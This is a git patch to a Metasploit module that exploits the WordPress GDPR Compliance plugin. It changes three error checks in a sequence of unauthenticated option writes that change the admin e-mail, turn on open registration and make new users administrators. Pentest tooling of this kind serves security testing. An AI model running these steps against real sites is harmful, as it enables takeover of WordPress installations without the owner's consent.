From 6845f44a2e77a5d25842783b732b8ff07da1f4be Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 28 Nov 2018 20:26:27 -0600 Subject: [PATCH] Logic... --- modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.rb b/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.rb index f9417d82ef..c400004f3d 100644 --- a/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.rb +++ b/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.rb @@ -75,20 +75,20 @@ class MetasploitModule < Msf::Auxiliary if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP) print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...") - if set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security).nil? + unless set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security) print_error('Failed to change the admin e-mail address') return end end print_warning('Enabling user registrations...') - if set_wp_option('users_can_register', '1', ajax_security).nil? + unless set_wp_option('users_can_register', '1', ajax_security) print_error('Failed to enable user registrations') return end print_warning('Setting the default user role type to administrator...') - if set_wp_option('default_role', 'administrator', ajax_security).nil? + unless set_wp_option('default_role', 'administrator', ajax_security) print_error("Failed to set the default user role") return end